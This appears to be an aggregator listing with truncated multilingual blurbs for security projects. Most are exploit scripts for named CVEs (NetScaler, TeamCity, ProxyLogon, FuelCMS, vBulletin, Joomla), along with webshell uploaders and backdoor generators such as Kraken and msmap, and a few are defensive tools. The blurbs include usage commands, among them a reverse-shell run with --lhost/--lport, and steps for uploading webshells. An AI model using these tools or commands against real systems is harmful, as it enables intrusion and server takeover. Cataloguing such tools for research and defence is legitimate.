watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452

watchTowr-vs-Citrix-Netscaler-PreAuth-RCE 用于 Citrix NetScaler CVE-2026-8452 的检测产物生成器 技术细节请参阅我们的博客文章。 检测演示 root@kitploit: python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/ / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // ||...

CVE-2024-50379-exp

CVE-2024-50379-exp -t 条件競争時間 -u ドメイン名 -f トロイの木馬の書き込み テストでは、最初の条件競争時に高い確率で書き込みが失敗し、もう一度条件競争をやり直さないとトロイの木馬が書き込まれないことが判明しました。そのため、スクリプトは最初に固定6秒の条件競争を行い、書き込みが行われたかどうかを検出し、書き込まれていない場合は、ユーザーがカスタマイズした時間またはデフォルトの10秒で再検出します。生成されるトロイの木馬はランダムなmd5.jspです。 root@kitploit: python .\CVE-2024-50379.py -u...

Project-Exploiting-CVE-2024-27198-RCE-Vulnerability

CVE-2024-27198-RCE脆弱性の悪用 このプロジェクトでは、CVE-2024-27198-RCE脆弱性を利用して、脆弱なTeamCityサーバーに対してリモートコード実行（RCE）攻撃を実行しました。この脆弱性により、Webシェルを介してリモートシステムへのアクセスを提供する悪意のあるプラグインをアップロードして有効化でき、サーバー上でコマンドの実行やデータの取得が可能になります。 実行手順: 攻撃の準備: まず、http://10.10.217.209:50000 でアクセス可能なターゲットサーバーを特定しました。次に、CVE-2024-27198-RCE.py...

LinuxCheck

LinuxCheck Linux緊急対応/情報収集/脆弱性検出ツール。基本設定/ネットワークトラフィック/タスクスケジュール/環境変数/ユーザー情報/サービス/bash/悪意ファイル/カーネルRootkit/SSH/Webshell/マイニングファイル/マイニングプロセス/サプライチェーン/サーバーリスクなど13カテゴリ70+項目のチェックをサポート 更新 更新ログ：2024年4月20日 出力をMarkdownレポートに調整 agを廃止し、Linuxネイティブのgrepコマンドを使用して、追加インストールを回避 コードフォーマットを最適化し、毎回tee -aを必要としないように...

ProxyLogon

ProxyLogon 元のPoC: https://github.com/testanull 使い方: python proxylogon.py 例: python proxylogon.py primary [email protected] 成功した場合、ウェブシェルが起動します。ウェブシェルから抜けるには exit または quit と入力します（または ctrl+c）。 デフォルトでは、test.aspx ファイルが作成されます。これは変更可能です。 サポート: このプロジェクトはサポートされていませんが、PRは歓迎します : 謝辞とリソース:...

webshell-analyzer

Web Shell Analyzer Web shell analyzer is a cross platform stand-alone binary built solely for the purpose of identifying, decoding, and tagging files that are suspected to be web shells. The web shell analyzer is the bigger brother to the web shell scanner project...

Kraken

Kraken Kraken，一款由 @secux11 编码的模块化多语言网页后门。 系统要求 • 支持 • 安装 • 用法 • 高级用法 • 贡献 • 常见问题 • 致谢 Kraken 是一个模块化的多语言网页后门，专注于 Web 后渗透利用与防御规避。它支持三种技术（PHP、JSP 和 ASPX ），其核心由 Python 开发。 Kraken 遵循 "避免命令执行" 的原则，通过所使用编程语言的功能来重新实现命令执行。Kraken 旨在提供可用性、可扩展性，并改善正在进行的操作的 OPSEC。...

CVE-2020-24186

chmod +x CVE-2020-24186 ./CVE-2020-24186...

msmap

MSMAP MsmapはメモリWebShellジェネレーターです。さまざまなコンテナ、コンポーネント、エンコーダー、 WebShell / Proxy / Killer 、および管理クライアントと互換性があります。简体中文 アイデアの背景 I, アイデアの背景 II, アイデアの背景 III 機能 WIP 機能 動的メニュー 自動コンパイル スクリプト生成 ライトモード...

msmap

MSMAP Msmap is a Memory WebShell Generator. Compatible with various Containers, Components, Encoder, WebShell / Proxy / Killer and Management Clients. 简体中文 The idea behind I, The idea behind II, The idea behind III Feature WIP Function Dynamic Menu Automatic Compilation Generate Script...

mimicry

Mimicry Mimicry Mimicry is a security tool developed by Chaitin Technology for active deception in exploitation and post-exploitation. Active deception can live migrate the attacker to the honeypot without awareness. We can achieve a higher security level at a lower cost with Active deception...

FallingSkies-CVE-2023-35885

CVE-2023-35885 Cloudpanel 0-day エクスプロイト 作者: @EagleTube, @Mzulfahmy, @farphalabs Github : https://github.com/datackmy/FallingSkies-CVE-2023-35885/blob/main/ 影響を受けるバージョン: v2.0.0 – v2.3.0 修正済みバージョン: v2.3.1 ベンダーホームページ: CloudPanel.io 製品: CloudPanel 参考文献:...

CVE-2025-57819-RCE

FreePBX 16 — Unauthenticated SQLi to RCE摘要：本說明展示如何組合 FreePBX 16 中的兩個漏洞（CVE-2025-57819 與 CVE-2025-61678），實現從未授權存取提升至遠端程式碼執行（Remote Code Execution, RCE）的完整攻擊鏈。漏洞 CVE 資訊CVE 編號影響元件影響與漏洞類型CVE-2025-57819Endpoint 模組載入器（brand 參數）未授權的多語句 SQL 注入（Unauthenticated Stacked SQL Injection）CVE-2025-61678Endpoint...

sharepoint-toolshell-micro-postmortem

インシデントマイクロポストモーテム — Microsoft SharePoint オンプレミス 「ToolShell」キャンペーン このキットは、2025年半ばの「ToolShell」ゼロデイキャンペーンをオンプレミス のMicrosoft SharePoint Serverに対してトリアージします。SharePoint Onlineは対象外です。外部データに依存せず、エンドツーエンドの再現可能なハンティング、コミュニケーション、図を提供します。 このリポジトリの存在理由: 再現可能な検出と整合性のある経営陣向けコミュニケーションにより、アナリストのトリアージを加速します。...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763 - FuelCMS = 1.4.1 RCE 用于在 FuelCMS = 1.4.1 上触发 CVE-2018-16763 RCE 的漏洞利用程序及交互式 shell。 功能特性 使用 CVE-2018-16763 在 FuelCMS 中自动上传 php webshell API。 通过带有 ?action=exec 的 API 执行系统命令。 使用 ?action=download 将远程系统中的文件下载到你的攻击机。 使用方法 环境要求 ：无需任何条件，此漏洞利用无需身份验证。 步骤 1：上传 webshell 插件 首先，你需要启动交互式...

CVE-2025-48827

説明: PHP 8.1 を使用した Vbullettin バージョン 5.0.0〜5.7.5 および 6.0.0〜6.0.3 向けの RCE 特徴: マルチスレッド ファイルから複数のターゲットを読み取り Vbullettin ウェブサイトの検出 脆弱性をチェックし、成功した場合は PHP ウェブシェルをアップロード 使用方法の詳細: usage: CVE-2025-48827.py -h --url URL --list LIST --threads THREADS --timeout TIMEOUT vBulletin ターゲット上でシェルを特定しアップロードします。 オプション引数...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution 影響範囲：3.0.0-3.4.6 1、脆弱性の検証 python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 「Vulnerable」と表示されれば、脆弱性が存在することが証明されます python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121 実行に成功...

CVE-2020-29607

Alienfader Exploit / Alien@shell Webshell アップロードエクスプロイト 説明: このPythonスクリプトは、Pluck CMS（例：4.7.13より前のバージョン）のファイルアップロード制限バイパス脆弱性を悪用して、PHPウェブシェルをアップロードします。アップロード後、シェル（"shell.phar"という名前）を使用して、ターゲットサーバー上でコマンドを実行できます。 このスクリプトは以下の手順を実行します： 1. ターゲットからセッションクッキーを取得してフォーマットします。 2. 指定されたパスワードを使用してターゲットに認証します。 3...

CVE-2024-4883

CVE-2024-4883 CVE-2024-4883 Progress WhatsUp Gold WriteDatafile 未認証リモートコード実行（CVE-2024-4883）のPoC 技術的分析 脆弱性の根本原因分析は私のブログにあります： https://summoning.team/blog/progress-whatsup-gold-WriteDataFile-CVE-2024-4883-RCE/ 使用方法 root@kitploit: WhatsUpWriteDataFileExploit.exe --target 192.168.0.11 --port 9643...

cve-2022-29464

cve-2022-29464 免責事項 root@kitploit: スクリプトは学習・参考用のみです。他人のWebサイトへの悪意ある攻撃は行わないでください 法令違反などにより生じた一切の結果は使用者自身が負担するものとします 技術に罪はなく、作者とは関係ありません 本スクリプトを使用した時点で上記の説明に同意したものとみなされます！ --Author:lowkey0808 使い方 root@kitploit: usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help messa...